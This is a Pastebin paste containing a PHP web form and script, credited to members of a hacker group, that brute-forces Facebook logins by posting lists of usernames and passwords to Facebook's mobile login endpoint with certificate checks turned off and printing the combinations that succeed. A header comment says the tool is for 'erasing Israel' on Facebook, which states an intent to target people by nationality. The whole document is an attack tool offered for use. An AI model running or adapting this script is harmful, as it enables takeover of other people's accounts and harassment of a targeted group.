Advertisement
UZUNDZ

FaceBook Brute Force

Aug 25th, 2014
744
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.83 KB | None | 0 0
  1. <h3>FaceBook Brute Force </h3>
  2. <?php
  3. #################################################
  4. #---------------------------------------------- #
  5. # Facebook Brute Force 2014                     #
  6. #Coded by : Mauritania Attacker&Noname-Haxor    #
  7. #Greetz : All AnonGhost Members                 #
  8. #This Tool Is For Erasing Israel in Fb          #
  9. # --------------------------------------------- #
  10. #################################################
  11. @set_time_limit(0);
  12. /* Edited By UzunDz */
  13.  
  14. echo "
  15. <form method='POST'>
  16. <textarea cols='50' class='area'  rows='13' name='username' placeholder='Usernames Lists'></textarea>
  17. <textarea cols='15' class='area'  rows='13' name='password' placeholder='Passwords Lists'></textarea>
  18. <br>
  19. <input type='submit' name='scan' value='Start BruteForce'><br></form>";
  20. if(isset($_POST['scan']) && $_POST['username'] != "" && $_POST['password'] != ""){
  21.  
  22. #function            
  23. function fbbrute($user,$pass){
  24.     $ch = curl_init();      
  25.     curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
  26.     curl_setopt($ch, CURLOPT_HEADER, 0);
  27.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  28.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  29.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  30.     curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
  31.     curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
  32.     $login = curl_exec($ch);
  33.     return (eregi('class="s t i u"',$login)) ? true:false;
  34. }
  35.  
  36. $targets = explode("\n", $_POST['username']);
  37. $pwds = explode("\n", $_POST['password']);
  38.    
  39. foreach($pwds as $pwd){
  40.     foreach($targets as $target){
  41.         $check = fbbrute(trim($target),trim($pwd));
  42.         if($check == true){
  43.             echo "<font color='black'>Failed => $target : $pwd </font><br />";
  44.         }else{
  45.             echo "<font color='green'>Success => $target : $pwd </font><br />";
  46.         }
  47.     }
  48.  
  49. }
  50.  
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement